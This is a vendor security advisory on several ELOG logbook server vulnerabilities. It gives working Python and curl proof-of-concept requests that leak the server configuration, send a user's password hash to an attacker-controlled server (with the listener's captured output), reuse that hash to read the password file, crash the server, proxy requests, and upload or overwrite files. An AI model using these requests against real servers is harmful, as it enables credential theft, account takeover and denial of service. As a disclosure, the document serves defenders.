Tenable found multiple vulnerabilities in the ELOG project. Combining some of these vulnerabilities could result in a complete compromise of all user accounts.
CVE-2019-3992: Configuration File Disclosure (CWE-200)
An unauthenticated remote attacker can retrieve the contents of the site's ELOG configuration via an HTTP request.
curl -vv http://localhost:8080/?cmd=GetConfig
This is of particular interest to an attacker because the "Admin User" field contains the usernames of privileged accounts.
Note: Tenable chose CWE-200 over the NVD-assigned CWE-319 for CVE-2019-3992 due to the following:
- The primary issue is that an unauthenticated remote attacker is able to expose sensitive information, whether or not it is sent in cleartext.
- CWE-319 pertains to the encryption of data in a channel which can be sniffed by unauthorized actors, which we do not believe applies in this case.
CVE-2019-3993: Password Hash Disclosure (CWE-200)
An unauthenticated remote attacker can obtain a user's password hash via an HTTP request. ELOG will forward the user's password hash to a server of the attacker's choosing in an HTTP request's cookie field. For example, the following script has the ELOG server at localhost:8080 send the user "test"'s password hash to https://192.168.88.249:8181.
import requests
url = 'http://localhost:8080/Demo1/'
files = dict(attfile=('https://192.168.88.249:8181', ''), cmd='Upload', jcmd='JUpload')
cookies = dict(unm="test")
r = requests.post(url, cookies=cookies, files=files)
print(r.text)
Resulting in the following message being received by the attacker controlled server:
albinolobster@ubuntu:~$ ncat -lvnp 8181 --ssl
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: A101 A006 D5C5 164D 7F6D A90A E071 9E26 60E9 48FE
Ncat: Listening on :::8181
Ncat: Listening on 0.0.0.0:8181
Ncat: Connection from 192.168.88.249.
Ncat: Connection from 192.168.88.249:34030.
GET / HTTP/1.0
Connection: Close
Cookie: unm=test; upwd=sljnGYK4EExoItGYm2l5Wqg0JwDfZE4.67vp/tIXZk6
Host: 192.168.88.249:8181
Note: Tenable chose CWE-200 over the NVD-assigned CWE-319 for CVE-2019-3993 due to the following:
- The primary issue is that an unauthenticated remote attacker is able to expose sensitive information, whether or not it is sent in cleartext.
- CWE-319 pertains to the encryption of data in a channel which can be sniffed by unauthorized actors, which we do not believe applies in this case.
Use of Password Hash Instead of Password for Authentication (CWE-836)
ELOG recognizes a user as "logged in" if a valid password hash is found in the HTTP cookie field. For example, only an admin user can read the password file via cmd=GetPwdFile. Using the password hash from our previous example:
import requests
url = 'https://localhost/Demo1/?cmd=GetPwdFile'
cookies = dict(unm="test",upwd="sljnGYK4EExoItGYm2l5Wqg0JwDfZE4.67vp/tIXZk6")
r = requests.get(url, cookies=cookies, verify=False)
print(r.text)
Yields the following result:
albinolobster@ubuntu~$ python3 get_passwd_file.py
<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- created by MXML on Mon Dec 2 14:09:21 2019 -->
<list>
<user>
<name>User</name>
<password encoding="SHA256">WKSaDStPmikIOYUMP8/lybgpfXcPv8q4ELJDd.0Z4/3</password>
<full_name>Test User</full_name>
<last_logout>0</last_logout>
<last_activity>Mon Dec 2 14:09:21 2019</last_activity>
<email>[email protected]</email>
<inactive>0</inactive>
<email_notify/>
</user>
</list>
CVE-2019-3994: Use After Free
An unauthenticated remote attacker can crash the ELOG server by sending repeated crafted HTTP POST requests. These requests cause retrieve_url() to heap allocate and free an SSL pointer. However, after free the SSL pointer continues to be used. A simple PoC follows:
import requests
url = 'http://localhost:8080/Demo1/'
files = dict(attfile=('https://192.168.88.249:8181', ''), cmd='Upload', jcmd='JUpload')
r = requests.post(url, files=files)
print(r.text)
Repeated use of this PoC could result in a similar stack trace:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7f1b460 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0 0x00007ffff7f1b460 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007ffff7f57bcf in SSL_shutdown () from /lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x0000555555560424 in retrieve_url (lbs=0x5555565f1c18, url=0x7ffffffd5580 "https://192.168.88.249:8181/", ssl=1,
buffer=0x7ffffffd5550) at src/elogd.c:2571
#3 0x00005555555ca69e in decode_post (logbook=0x7fffffffbcd0 "Demo1", lbs=0x5555565f1c18,
string=0x5555565ff892 "\r\n--c3ff9669736023a9f6be1c4d388d3a2a\r\nContent-Disposition: form-data; name=\"cmd\"; filename=\"cmd\"\r\n\r\nUpload\r\n--c3ff9669736023a9f6be1c4d388d3a2a\r\nContent-Disposition: form-data; name=\"jcmd\"; filename=\"j"..., boundary=0x7fffffffbbd0 "c3ff9669736023a9f6be1c4d388d3a2a", length=382) at src/elogd.c:28511
#4 0x00005555555cd402 in process_http_request (
request=0x5555565ff718 "POST /Demo1/ HTTP/1.1\r\nHost: localhost:8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.22.0\r\nContent-Length: 382\r\nContent-Type: multipart/form-"...,
i_conn=0) at src/elogd.c:29173
#5 0x00005555555d05d3 in server_loop () at src/elogd.c:30144
#6 0x00005555555d2739 in main (argc=1, argv=0x7fffffffe058) at src/elogd.c:31169
(gdb)
CVE-2019-3995: NULL Pointer Dereference
An unauthenticated remote attacker can cause a denial of service situation via a null pointer dereference. The vulnerability is triggered via the following HTTP GET request:
curl -vv http://localhost:8081/Demo1/?acmd=Upload
Which causes the following stack trace:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7d7f3c6 in _GI____strtol_l_internal (nptr=0x0, endptr=0x0, base=10, group=,
loc=0x7ffff7f1b560 <_nl_global_locale>) at ../stdlib/strtol_l.c:283
283 ../stdlib/strtol_l.c: No such file or directory.
(gdb) bt
#0 0x00007ffff7d7f3c6 in _GI____strtol_l_internal (nptr=0x0, endptr=0x0, base=10, group=,
loc=0x7ffff7f1b560 <_nl_global_locale>) at ../stdlib/strtol_l.c:283
#1 0x00005555555c4a40 in show_uploader_json (lbs=0x5555565f1c18) at src/elogd.c:27055
#2 0x00005555555c5c45 in interprete (lbook=0x7fffffffbcd0 "Demo1", path=0x7ffffffd6e00 "") at src/elogd.c:27395
#3 0x00005555555c9d98 in decode_get (logbook=0x7fffffffbcd0 "Demo1", string=0x55555663049e "?acmd") at src/elogd.c:28362
#4 0x00005555555cd123 in process_http_request (request=0x5555565ff718 "GET /Demo1/?acmd=Upload", i_conn=0)
at src/elogd.c:29137
#5 0x00005555555d05ff in server_loop () at src/elogd.c:30148
#6 0x00005555555d2765 in main (argc=1, argv=0x7fffffffe058) at src/elogd.c:31173
CVE-2019-3996: Unintended Proxy (CWE-441)
Unauthenticated remote users can proxy HTTP GET requests through ELOG via crafted POST requests. The following script will trigger a request to https://www.google.com:
import requests
url = 'http://localhost:8080/Demo2/'
files = dict(attfile=('https://www.google.com:443', ''), cmd='Upload', jcmd='JUpload')
r = requests.post(url, files=files, verify=False)
print(r.text)
If the attacker targets an unlocked logbook, they can also download the server's response.
Attachment Uploading and Overwriting
Unauthenticated remote attackers can upload files to both locked and unlocked logbooks:
import requests
url = 'http://localhost:8080/Demo2/'
files = dict(attfile=('lol.htm', open('lol.txt', 'rb')), cmd='Upload', jcmd='JUpload')
r = requests.post(url, files=files, verify=False)
print(r.text)
But unauthenticated attackers can only retrieve the uploaded files from unlocked logbooks.
Furthermore, unauthenticated remote attackers can overwrite existing uploaded files. For example, if there already existed an uploaded file at "/Demo2/191203_092830/lol.htm" then the attacker could overwrite it using the following HTTP POST request:
import requests
url = 'http://localhost:8080/Demo2/'
files = dict(attfile=('191203_092830_lol.htm', open('lol.txt', 'rb')), cmd='Upload', jcmd='JUpload')
r = requests.post(url, files=files, verify=False)
print(r.text)